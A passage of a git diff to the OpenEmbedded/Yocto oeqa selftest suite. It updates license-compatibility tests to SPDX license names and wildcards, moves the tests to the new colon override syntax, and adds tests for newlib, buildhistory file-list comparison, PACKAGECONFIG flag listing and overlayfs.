+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', '*GPL-3.0', "*GPL-3.0 is an invalid license wildcard entry")
+
+ # Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
+ # license cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded
+ # alias license matching the SPDX license
+ def test_incompatible_alias_spdx_license_alias_wildcard(self):
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', '*GPLv3', "*GPLv3 is an invalid license wildcard entry")
+
+
+ # Verify that a package with multiple SPDX licenses (from
+ # AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains a
+ # wildcard to some of them
+ def test_incompatible_spdx_licenses_wildcard(self):
+ self.lic_test('incompatible-licenses', 'GPL-3.0-only LGPL-3.0-only', '*GPL-3.0-only', "*GPL-3.0-only is an invalid license wildcard entry")
+
+
+ # Verify that a package with multiple SPDX licenses (from
+ # AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains a
+ # wildcard matching all licenses
+ def test_incompatible_all_licenses_wildcard(self):
+ self.lic_test('incompatible-licenses', 'GPL-2.0-only GPL-3.0-only LGPL-3.0-only', '*', "* is an invalid license wildcard entry")
+
class IncompatibleLicenseTests(OESelftestTestCase):
def lic_test(self, pn, pn_lic, lic):
- error_msg = 'ERROR: Nothing PROVIDES \'%s\'\n%s was skipped: it has an incompatible license: %s' % (pn, pn, pn_lic)
+ error_msg = 'ERROR: Nothing PROVIDES \'%s\'\n%s was skipped: it has incompatible license(s): %s' % (pn, pn, pn_lic)
self.write_config("INCOMPATIBLE_LICENSE += \"%s\"" % (lic))
@@ -12,30 +67,31 @@ class IncompatibleLicenseTests(OESelftestTestCase):
if error_msg not in result.output:
raise AssertionError(result.output)
- # Verify that a package with an SPDX license (from SRC_DISTRIBUTE_LICENSES)
+ # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
# cannot be built when INCOMPATIBLE_LICENSE contains this SPDX license
def test_incompatible_spdx_license(self):
- self.lic_test('incompatible-license', 'GPL-3.0', 'GPL-3.0')
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPL-3.0-only')
- # Verify that a package with an SPDX license (from SRC_DISTRIBUTE_LICENSES)
- # cannot be built when INCOMPATIBLE_LICENSE contains an alias (in
- # SPDXLICENSEMAP) of this SPDX license
- def test_incompatible_alias_spdx_license(self):
- self.lic_test('incompatible-license', 'GPL-3.0', 'GPLv3')
+ # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
+ # cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded license
+ # matching this SPDX license
+ def test_incompatible_spdx_license_wildcard(self):
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPL-3.0*')
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains this SPDX
# license
def test_incompatible_spdx_license_alias(self):
- self.lic_test('incompatible-license-alias', 'GPLv3', 'GPL-3.0')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', 'GPL-3.0-only')
- # Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
- # license cannot be built when INCOMPATIBLE_LICENSE contains this alias
- def test_incompatible_alias_spdx_license_alias(self):
- self.lic_test('incompatible-license-alias', 'GPLv3', 'GPLv3')
+ # Verify that a package with multiple SPDX licenses (from
+ # AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains
+ # some of them
+ def test_incompatible_spdx_licenses(self):
+ self.lic_test('incompatible-licenses', 'GPL-3.0-only LGPL-3.0-only', 'GPL-3.0-only LGPL-3.0-only')
# Verify that a package with a non-SPDX license (neither in
- # SRC_DISTRIBUTE_LICENSES nor in SPDXLICENSEMAP) cannot be built when
+ # AVAILABLE_LICENSES nor in SPDXLICENSEMAP) cannot be built when
# INCOMPATIBLE_LICENSE contains this license
def test_incompatible_nonspdx_license(self):
self.lic_test('incompatible-nonspdx-license', 'FooLicense', 'FooLicense')
@@ -43,51 +99,63 @@ class IncompatibleLicenseTests(OESelftestTestCase):
class IncompatibleLicensePerImageTests(OESelftestTestCase):
def default_config(self):
return """
-IMAGE_INSTALL_append = "bash"
-INCOMPATIBLE_LICENSE_pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
+IMAGE_INSTALL:append = " bash"
+INCOMPATIBLE_LICENSE:pn-core-image-minimal = "GPL-3.0* LGPL-3.0*"
"""
def test_bash_default(self):
self.write_config(self.default_config())
- error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash has an incompatible license GPLv3+ and cannot be installed into the image."
+ error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0-or-later"
result = bitbake('core-image-minimal', ignore_status=True)
if error_msg not in result.output:
raise AssertionError(result.output)
def test_bash_and_license(self):
- self.write_config(self.default_config() + '\nLICENSE_append_pn-bash = " & SomeLicense"')
- error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash has an incompatible license GPLv3+ & SomeLicense and cannot be installed into the image."
+ self.write_config(self.default_config() + '\nLICENSE:append:pn-bash = " & SomeLicense"')
+ error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0-or-later"
result = bitbake('core-image-minimal', ignore_status=True)
if error_msg not in result.output:
raise AssertionError(result.output)
def test_bash_or_license(self):
- self.write_config(self.default_config() + '\nLICENSE_append_pn-bash = " | SomeLicense"')
+ self.write_config(self.default_config() + '\nLICENSE:append:pn-bash = " | SomeLicense"')
bitbake('core-image-minimal')
- def test_bash_whitelist(self):
- self.write_config(self.default_config() + '\nWHITELIST_GPL-3.0_pn-core-image-minimal = "bash"')
+ def test_bash_license_exceptions(self):
+ self.write_config(self.default_config() + '\nINCOMPATIBLE_LICENSE_EXCEPTIONS:pn-core-image-minimal = "bash:GPL-3.0-or-later"')
bitbake('core-image-minimal')
class NoGPL3InImagesTests(OESelftestTestCase):
def test_core_image_minimal(self):
self.write_config("""
-INCOMPATIBLE_LICENSE_pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
+INCOMPATIBLE_LICENSE:pn-core-image-minimal = "GPL-3.0* LGPL-3.0*"
""")
bitbake('core-image-minimal')
- def test_core_image_full_cmdline(self):
+ def test_core_image_full_cmdline_weston(self):
self.write_config("""
-INHERIT += "testimage"\n
-INCOMPATIBLE_LICENSE_pn-core-image-full-cmdline = "GPL-3.0 LGPL-3.0"\n
-RDEPENDS_packagegroup-core-full-cmdline-utils_remove = "bash bc coreutils cpio ed findutils gawk grep mc mc-fish mc-helpers mc-helpers-perl sed tar time"\n
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils_remove = "diffutils m4 make patch"\n
-RDEPENDS_packagegroup-core-full-cmdline-multiuser_remove = "gzip"\n
+INHERIT += "testimage"
+INCOMPATIBLE_LICENSE:pn-core-image-full-cmdline = "GPL-3.0* LGPL-3.0*"
+INCOMPATIBLE_LICENSE:pn-core-image-weston = "GPL-3.0* LGPL-3.0*"
+# Settings for full-cmdline
+RDEPENDS:packagegroup-core-full-cmdline-utils:remove = "bash bc coreutils cpio ed findutils gawk grep mc mc-fish mc-helpers mc-helpers-perl sed tar time"
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils:remove = "diffutils m4 make patch"
+RDEPENDS:packagegroup-core-full-cmdline-multiuser:remove = "gzip"
+# Settings for weston
+# direct gpl3 dependencies
+RRECOMMENDS:packagegroup-base-vfat:remove = "dosfstools"
+PACKAGECONFIG:remove:pn-bluez5 = "readline"
+# dnf pulls in gpg which is gpl3; it also pulls in python3-rpm which pulls in rpm-build which pulls in bash
+# so install rpm but not dnf
+IMAGE_FEATURES:remove:pn-core-image-weston = "package-management"
+CORE_IMAGE_EXTRA_INSTALL:pn-core-image-weston += "rpm"
+# matchbox-terminal depends on vte, which is gpl3
+CORE_IMAGE_BASE_INSTALL:remove:pn-core-image-weston = "matchbox-terminal"
""")
- bitbake('core-image-full-cmdline')
- bitbake('-c testimage core-image-full-cmdline')
+ bitbake('core-image-full-cmdline core-image-weston')
+ bitbake('-c testimage core-image-full-cmdline core-image-weston')
diff --git a/meta/lib/oeqa/selftest/cases/kerneldevelopment.py b/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
index a61876ee61..b1623a1885 100644
--- a/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
+++ b/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
@@ -58,7 +58,7 @@ class KernelDev(OESelftestTestCase):
recipe_append = os.path.join(self.recipeskernel_dir, 'linux-yocto_%.bbappend')
with open(recipe_append, 'w+') as fh:
fh.write('SRC_URI += "file://%s"\n' % patch_name)
- fh.write('FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"')
+ fh.write('FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"')
runCmd('bitbake virtual/kernel -c clean')
runCmd('bitbake virtual/kernel -c patch')
diff --git a/meta/lib/oeqa/selftest/cases/layerappend.py b/meta/lib/oeqa/selftest/cases/layerappend.py
index 05e9426fc6..dadc7c5d28 100644
--- a/meta/lib/oeqa/selftest/cases/layerappend.py
+++ b/meta/lib/oeqa/selftest/cases/layerappend.py
@@ -30,20 +30,20 @@ python do_build() {
addtask build
"""
append = """
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI_append = " file://appendtest.txt"
+SRC_URI:append = " file://appendtest.txt"
-sysroot_stage_all_append() {
+sysroot_stage_all:append() {
install -m 644 ${WORKDIR}/appendtest.txt ${SYSROOT_DESTDIR}/
}
"""
append2 = """
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI_append = " file://appendtest.txt"
+SRC_URI:append = " file://appendtest.txt"
"""
layerappend = ''
diff --git a/meta/lib/oeqa/selftest/cases/lic_checksum.py b/meta/lib/oeqa/selftest/cases/lic_checksum.py
index bae935d697..91021ac335 100644
--- a/meta/lib/oeqa/selftest/cases/lic_checksum.py
+++ b/meta/lib/oeqa/selftest/cases/lic_checksum.py
@@ -21,7 +21,7 @@ class LicenseTests(OESelftestTestCase):
os.close(lic_file)
self.track_for_cleanup(lic_path)
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_config("INHERIT:remove = \"report-error\"")
self.write_recipeinc('emptytest', """
INHIBIT_DEFAULT_DEPS = "1"
diff --git a/meta/lib/oeqa/selftest/cases/meta_ide.py b/meta/lib/oeqa/selftest/cases/meta_ide.py
index 03901a2f32..6f10d30dc9 100644
--- a/meta/lib/oeqa/selftest/cases/meta_ide.py
+++ b/meta/lib/oeqa/selftest/cases/meta_ide.py
@@ -40,10 +40,10 @@ class MetaIDE(OESelftestTestCase):
def test_meta_ide_can_build_cpio_project(self):
dl_dir = self.td.get('DL_DIR', None)
self.project = SDKBuildProject(self.tmpdir_metaideQA + "/cpio/", self.environment_script_path,
- "https://ftp.gnu.org/gnu/cpio/cpio-2.12.tar.gz",
+ "https://ftp.gnu.org/gnu/cpio/cpio-2.13.tar.gz",
self.tmpdir_metaideQA, self.td['DATETIME'], dl_dir=dl_dir)
self.project.download_archive()
- self.assertEqual(self.project.run_configure(), 0,
+ self.assertEqual(self.project.run_configure('$CONFIGURE_FLAGS --disable-maintainer-mode','sed -i -e "/char \*program_name/d" src/global.c;'), 0,
msg="Running configure failed")
self.assertEqual(self.project.run_make(), 0,
msg="Running make failed")
diff --git a/meta/lib/oeqa/selftest/cases/multiconfig.py b/meta/lib/oeqa/selftest/cases/multiconfig.py
index 39b92f2439..baae9b456f 100644
--- a/meta/lib/oeqa/selftest/cases/multiconfig.py
+++ b/meta/lib/oeqa/selftest/cases/multiconfig.py
@@ -17,7 +17,7 @@ class MultiConfig(OESelftestTestCase):
"""
config = """
-IMAGE_INSTALL_append_pn-core-image-full-cmdline = " multiconfig-image-packager-tiny multiconfig-image-packager-musl"
+IMAGE_INSTALL:append:pn-core-image-full-cmdline = " multiconfig-image-packager-tiny multiconfig-image-packager-musl"
BBMULTICONFIG = "tiny musl"
"""
self.write_config(config)
@@ -52,7 +52,7 @@ TMPDIR = "${TOPDIR}/tmp-mc-tiny"
self.write_config(config)
testconfig = textwrap.dedent('''\
- MCTESTVAR_append = "1"
+ MCTESTVAR:append = "1"
''')
self.write_config(testconfig, 'test')
@@ -64,7 +64,7 @@ TMPDIR = "${TOPDIR}/tmp-mc-tiny"
self.assertIn('MCTESTVAR=test1', result.output.splitlines())
testconfig = textwrap.dedent('''\
- MCTESTVAR_append = "2"
+ MCTESTVAR:append = "2"
''')
self.write_config(testconfig, 'test')
diff --git a/meta/lib/oeqa/selftest/cases/newlib.py b/meta/lib/oeqa/selftest/cases/newlib.py
new file mode 100644
index 0000000000..999e3e78b0
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/newlib.py
@@ -0,0 +1,11 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class NewlibTest(OESelftestTestCase):
+ def test_newlib(self):
+ self.write_config('TCLIBC = "newlib"')
+ bitbake("newlib libgloss")
diff --git a/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py b/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py
index 6d80827652..802a91a488 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py
@@ -5,6 +5,7 @@
import os
from oeqa.selftest.case import OESelftestTestCase
import tempfile
+import operator
from oeqa.utils.commands import get_bb_var
class TestBlobParsing(OESelftestTestCase):
@@ -45,7 +46,7 @@ class TestBlobParsing(OESelftestTestCase):
def test_blob_to_dict(self):
"""
- Test convertion of git blobs to dictionary
+ Test conversion of git blobs to dictionary
"""
from oe.buildhistory_analysis import blob_to_dict
valuesmap = { "foo" : "1", "bar" : "2" }
@@ -97,3 +98,48 @@ class TestBlobParsing(OESelftestTestCase):
var_changes[x.fieldname] = (oldvalue, x.newvalue)
self.assertEqual(defaultmap, var_changes, "Defaults not set properly")
+
+class TestFileListCompare(OESelftestTestCase):
+
+ def test_compare_file_lists(self):
+ # Test that a directory tree that moves location such as /lib/modules/5.4.40-yocto-standard -> /lib/modules/5.4.43-yocto-standard
+ # is correctly identified as a move
+ from oe.buildhistory_analysis import compare_file_lists, FileChange
+
+ with open(self.tc.files_dir + "/buildhistory_filelist1.txt", "r") as f:
+ filelist1 = f.readlines()
+ with open(self.tc.files_dir + "/buildhistory_filelist2.txt", "r") as f:
+ filelist2 = f.readlines()
+
+ expectedResult = [
+ '/lib/libcap.so.2 changed symlink target from libcap.so.2.33 to libcap.so.2.34',
+ '/lib/libcap.so.2.33 moved to /lib/libcap.so.2.34',
+ '/lib/modules/5.4.40-yocto-standard moved to /lib/modules/5.4.43-yocto-standard',
+ '/lib/modules/5.4.43-yocto-standard/modules.builtin.alias.bin was added',
+ '/usr/bin/gawk-5.0.1 moved to /usr/bin/gawk-5.1.0',
+ '/usr/lib/libbtrfsutil.so changed symlink target from libbtrfsutil.so.1.1.1 to libbtrfsutil.so.1.2.0',
+ '/usr/lib/libbtrfsutil.so.1 changed symlink target from libbtrfsutil.so.1.1.1 to libbtrfsutil.so.1.2.0',
+ '/usr/lib/libbtrfsutil.so.1.1.1 moved to /usr/lib/libbtrfsutil.so.1.2.0',
+ '/usr/lib/libkmod.so changed symlink target from libkmod.so.2.3.4 to libkmod.so.2.3.5',
+ '/usr/lib/libkmod.so.2 changed symlink target from libkmod.so.2.3.4 to libkmod.so.2.3.5',
+ '/usr/lib/libkmod.so.2.3.4 moved to /usr/lib/libkmod.so.2.3.5',
+ '/usr/lib/libpixman-1.so.0 changed symlink target from libpixman-1.so.0.38.4 to libpixman-1.so.0.40.0',
+ '/usr/lib/libpixman-1.so.0.38.4 moved to /usr/lib/libpixman-1.so.0.40.0',
+ '/usr/lib/opkg/alternatives/rtcwake was added',
+ '/usr/lib/python3.8/site-packages/PyGObject-3.34.0.egg-info moved to /usr/lib/python3.8/site-packages/PyGObject-3.36.1.egg-info',
+ '/usr/lib/python3.8/site-packages/btrfsutil-1.1.1-py3.8.egg-info moved to /usr/lib/python3.8/site-packages/btrfsutil-1.2.0-py3.8.egg-info',
+ '/usr/lib/python3.8/site-packages/pycairo-1.19.0.egg-info moved to /usr/lib/python3.8/site-packages/pycairo-1.19.1.egg-info',
+ '/usr/sbin/rtcwake changed type from file to symlink',
+ '/usr/sbin/rtcwake changed permissions from rwxr-xr-x to rwxrwxrwx',
+ '/usr/sbin/rtcwake changed symlink target from None to /usr/sbin/rtcwake.util-linux',
+ '/usr/sbin/rtcwake.util-linux was added'
+ ]
+
+ result = compare_file_lists(filelist1, filelist2)
+ rendered = []
+ for entry in sorted(result, key=operator.attrgetter("path")):
+ rendered.append(str(entry))
+
+ self.maxDiff = None
+ self.assertCountEqual(rendered, expectedResult)
+
diff --git a/meta/lib/oeqa/selftest/cases/oelib/elf.py b/meta/lib/oeqa/selftest/cases/oelib/elf.py
index d0a28090f2..5a5f9b4fdf 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/elf.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/elf.py
@@ -21,6 +21,6 @@ class TestElf(TestCase):
self.assertEqual(oe.qa.elf_machine_to_string(0xB7), "AArch64")
self.assertEqual(oe.qa.elf_machine_to_string(0xF7), "BPF")
- self.assertEqual(oe.qa.elf_machine_to_string(0x00), "Unknown (0)")
+ self.assertEqual(oe.qa.elf_machine_to_string(0x00), "Unset")
self.assertEqual(oe.qa.elf_machine_to_string(0xDEADBEEF), "Unknown (3735928559)")
self.assertEqual(oe.qa.elf_machine_to_string("foobar"), "Unknown ('foobar')")
diff --git a/meta/lib/oeqa/selftest/cases/oelib/license.py b/meta/lib/oeqa/selftest/cases/oelib/license.py
index 6ebbee589f..3b359396b6 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/license.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/license.py
@@ -15,11 +15,11 @@ class SeenVisitor(oe.license.LicenseVisitor):
class TestSingleLicense(TestCase):
licenses = [
- "GPLv2",
- "LGPL-2.0",
- "Artistic",
+ "GPL-2.0-only",
+ "LGPL-2.0-only",
+ "Artistic-1.0",
"MIT",
- "GPLv3+",
+ "GPL-3.0-or-later",
"FOO_BAR",
]
invalid_licenses = ["GPL/BSD"]
@@ -67,9 +67,9 @@ class TestComplexCombinations(TestSimpleCombinations):
"FOO & (BAR | BAZ)&MOO": ["FOO", "BAR", "MOO"],
"(ALPHA|(BETA&THETA)|OMEGA)&DELTA": ["OMEGA", "DELTA"],
"((ALPHA|BETA)&FOO)|BAZ": ["BETA", "FOO"],
- "(GPL-2.0|Proprietary)&BSD-4-clause&MIT": ["GPL-2.0", "BSD-4-clause", "MIT"],
+ "(GPL-2.0-only|Proprietary)&BSD-4-clause&MIT": ["GPL-2.0-only", "BSD-4-clause", "MIT"],
}
- preferred = ["BAR", "OMEGA", "BETA", "GPL-2.0"]
+ preferred = ["BAR", "OMEGA", "BETA", "GPL-2.0-only"]
class TestIsIncluded(TestCase):
tests = {
@@ -87,12 +87,12 @@ class TestIsIncluded(TestCase):
[True, ["BAR", "FOOBAR"]],
("(FOO | BAR) & FOOBAR | BAZ & MOO & BARFOO", None, "FOO"):
[True, ["BAZ", "MOO", "BARFOO"]],
- ("GPL-3.0 & GPL-2.0 & LGPL-2.1 | Proprietary", None, None):
- [True, ["GPL-3.0", "GPL-2.0", "LGPL-2.1"]],
- ("GPL-3.0 & GPL-2.0 & LGPL-2.1 | Proprietary", None, "GPL-3.0"):
+ ("GPL-3.0-or-later & GPL-2.0-only & LGPL-2.1-only | Proprietary", None, None):
+ [True, ["GPL-3.0-or-later", "GPL-2.0-only", "LGPL-2.1-only"]],
+ ("GPL-3.0-or-later & GPL-2.0-only & LGPL-2.1-only | Proprietary", None, "GPL-3.0-or-later"):
[True, ["Proprietary"]],
- ("GPL-3.0 & GPL-2.0 & LGPL-2.1 | Proprietary", None, "GPL-3.0 Proprietary"):
- [False, ["GPL-3.0"]]
+ ("GPL-3.0-or-later & GPL-2.0-only & LGPL-2.1-only | Proprietary", None, "GPL-3.0-or-later Proprietary"):
+ [False, ["GPL-3.0-or-later"]]
}
def test_tests(self):
diff --git a/meta/lib/oeqa/selftest/cases/oelib/utils.py b/meta/lib/oeqa/selftest/cases/oelib/utils.py
index a7214beb4c..bbf67bf9c9 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/utils.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/utils.py
@@ -64,7 +64,7 @@ class TestMultiprocessLaunch(TestCase):
import bb
def testfunction(item, d):
- if item == "2" or item == "1":
+ if item == "2":
raise KeyError("Invalid number %s" % item)
return "Found %s" % item
@@ -99,5 +99,4 @@ class TestMultiprocessLaunch(TestCase):
# Assert the function prints exceptions
with captured_output() as (out, err):
self.assertRaises(bb.BBHandledException, multiprocess_launch, testfunction, ["1", "2", "3", "4", "5", "6"], d, extraargs=(d,))
- self.assertIn("KeyError: 'Invalid number 1'", out.getvalue())
self.assertIn("KeyError: 'Invalid number 2'", out.getvalue())
diff --git a/meta/lib/oeqa/selftest/cases/oescripts.py b/meta/lib/oeqa/selftest/cases/oescripts.py
index 80d8b2c4cc..91abf9654a 100644
--- a/meta/lib/oeqa/selftest/cases/oescripts.py
+++ b/meta/lib/oeqa/selftest/cases/oescripts.py
@@ -4,6 +4,7 @@
import os
import shutil
+import importlib
import unittest
from oeqa.selftest.case import OESelftestTestCase
from oeqa.selftest.cases.buildhistory import BuildhistoryBase
@@ -33,15 +34,13 @@ class BuildhistoryDiffTests(BuildhistoryBase):
if expected_endlines:
self.fail('Missing expected line endings:\n %s' % '\n '.join(expected_endlines))
+@unittest.skipUnless(importlib.util.find_spec("cairo"), "Python cairo module is not present")
class OEScriptTests(OESelftestTestCase):
@classmethod
def setUpClass(cls):
super(OEScriptTests, cls).setUpClass()
- try:
- import cairo
- except ImportError:
- raise unittest.SkipTest('Python module cairo is not present')
+ import cairo
bitbake("core-image-minimal -c rootfs -f")
cls.tmpdir = get_bb_var('TMPDIR')
cls.buildstats = cls.tmpdir + "/buildstats/" + sorted(os.listdir(cls.tmpdir + "/buildstats"))[-1]
@@ -65,6 +64,7 @@ class OEPybootchartguyTests(OEScriptTests):
runCmd('%s/pybootchartgui/pybootchartgui.py %s -o %s/charts -f pdf' % (self.scripts_dir, self.buildstats, self.tmpdir))
self.assertTrue(os.path.exists(self.tmpdir + "/charts.pdf"))
+
class OEGitproxyTests(OESelftestTestCase):
scripts_dir = os.path.join(get_bb_var('COREBASE'), 'scripts')
@@ -127,3 +127,61 @@ class OeRunNativeTest(OESelftestTestCase):
bitbake("qemu-helper-native -c addto_recipe_sysroot")
result = runCmd("oe-run-native qemu-helper-native tunctl -h")
self.assertIn("Delete: tunctl -d device-name [-f tun-clone-device]", result.output)
+
+class OEListPackageconfigTests(OEScriptTests):
+ #oe-core.scripts.List_all_the_PACKAGECONFIG's_flags
+ def check_endlines(self, results, expected_endlines):
+ for line in results.output.splitlines():
+ for el in expected_endlines:
+ if line.split() == el.split():
+ expected_endlines.remove(el)
+ break
+
+ if expected_endlines:
+ self.fail('Missing expected listings:\n %s' % '\n '.join(expected_endlines))
+
+
+ #oe-core.scripts.List_all_the_PACKAGECONFIG's_flags
+ def test_packageconfig_flags_help(self):
+ runCmd('%s/contrib/list-packageconfig-flags.py -h' % self.scripts_dir)
+
+ def test_packageconfig_flags_default(self):
+ results = runCmd('%s/contrib/list-packageconfig-flags.py' % self.scripts_dir)
+ expected_endlines = []
+ expected_endlines.append("RECIPE NAME PACKAGECONFIG FLAGS")
+ expected_endlines.append("pinentry gtk2 libcap ncurses qt secret")
+ expected_endlines.append("tar acl selinux")
+
+ self.check_endlines(results, expected_endlines)
+
+
+ def test_packageconfig_flags_option_flags(self):
+ results = runCmd('%s/contrib/list-packageconfig-flags.py -f' % self.scripts_dir)
+ expected_endlines = []
+ expected_endlines.append("PACKAGECONFIG FLAG RECIPE NAMES")
+ expected_endlines.append("qt nativesdk-pinentry pinentry pinentry-native")
+ expected_endlines.append("secret nativesdk-pinentry pinentry pinentry-native")
+
+ self.check_endlines(results, expected_endlines)
+
+ def test_packageconfig_flags_option_all(self):
+ results = runCmd('%s/contrib/list-packageconfig-flags.py -a' % self.scripts_dir)
+ expected_endlines = []
+ expected_endlines.append("pinentry-1.2.0")
+ expected_endlines.append("PACKAGECONFIG ncurses libcap")
+ expected_endlines.append("PACKAGECONFIG[qt] --enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase")
+ expected_endlines.append("PACKAGECONFIG[gtk2] --enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0")
+ expected_endlines.append("PACKAGECONFIG[libcap] --with-libcap, --without-libcap, libcap")
+ expected_endlines.append("PACKAGECONFIG[ncurses] --enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses")
+ expected_endlines.append("PACKAGECONFIG[secret] --enable-libsecret, --disable-libsecret, libsecret")
+
+ self.check_endlines(results, expected_endlines)
+
+ def test_packageconfig_flags_options_preferred_only(self):
+ results = runCmd('%s/contrib/list-packageconfig-flags.py -p' % self.scripts_dir)
+ expected_endlines = []
+ expected_endlines.append("RECIPE NAME PACKAGECONFIG FLAGS")
+ expected_endlines.append("pinentry gtk2 libcap ncurses qt secret")
+
+ self.check_endlines(results, expected_endlines)
+
diff --git a/meta/lib/oeqa/selftest/cases/overlayfs.py b/meta/lib/oeqa/selftest/cases/overlayfs.py
new file mode 100644
index 0000000000..56ae48ce64
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/overlayfs.py
@@ -0,0 +1,423 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, runqemu
+
+def getline_qemu(out, line):
+ for l in out.split('\n'):
+ if line in l:
+ return l
+
+def getline(res, line):
+ return getline_qemu(res.output, line)
+
+class OverlayFSTests(OESelftestTestCase):
+ """Overlayfs class usage tests"""
+
+ def add_overlay_conf_to_machine(self):
+ machine_inc = """
+OVERLAYFS_MOUNT_POINT[mnt-overlay] = "/mnt/overlay"
+"""
+ self.set_machine_config(machine_inc)
+
+ def test_distro_features_missing(self):
+ """
+ Summary: Check that required DISTRO_FEATURES are set
+ Expected: Fail when either systemd or overlayfs are not in DISTRO_FEATURES
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+"""
+ overlayfs_recipe_append = """
+inherit overlayfs
+"""
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+ self.write_recipeinc('overlayfs-user', overlayfs_recipe_append)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "overlayfs-user was skipped: missing required distro features")
+ self.assertTrue("overlayfs" in res.output, msg=res.output)
+ self.assertTrue("systemd" in res.output, msg=res.output)
+ self.assertTrue("ERROR: Required build target 'core-image-minimal' has no buildable providers." in res.output, msg=res.output)
+
+ def test_not_all_units_installed(self):
+ """
+ Summary: Test QA check that we have required mount units in the image
+ Expected: Fail because mount unit for overlay partition is not installed
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES += "systemd overlayfs"
+"""
+
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, " Mount path /mnt/overlay not found in fstat and unit mnt-overlay.mount not found in systemd unit directories")
+ self.assertTrue(line and line.startswith("WARNING:"), msg=res.output)
+ line = getline(res, "Not all mount paths and units are installed in the image")
+ self.assertTrue(line and line.startswith("ERROR:"), msg=res.output)
+
+ def test_mount_unit_not_set(self):
+ """
+ Summary: Test whether mount unit was set properly
+ Expected: Fail because mount unit was not set
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES += "systemd overlayfs"
+"""
+
+ self.write_config(config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "A recipe uses overlayfs class but there is no OVERLAYFS_MOUNT_POINT set in your MACHINE configuration")
+ self.assertTrue(line and line.startswith("Parsing recipes...ERROR:"), msg=res.output)
+
+ def test_wrong_mount_unit_set(self):
+ """
+ Summary: Test whether mount unit was set properly
+ Expected: Fail because not the correct flag used for mount unit
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES += "systemd overlayfs"
+"""
+
+ wrong_machine_config = """
+OVERLAYFS_MOUNT_POINT[usr-share-overlay] = "/usr/share/overlay"
+"""
+
+ self.write_config(config)
+ self.set_machine_config(wrong_machine_config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "Missing required mount point for OVERLAYFS_MOUNT_POINT[mnt-overlay] in your MACHINE configuration")
+ self.assertTrue(line and line.startswith("Parsing recipes...ERROR:"), msg=res.output)
+
+ def _test_correct_image(self, recipe, data):
+ """
+ Summary: Check that we can create an image when all parameters are
+ set correctly
+ Expected: Image is created successfully
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user systemd-machine-units"
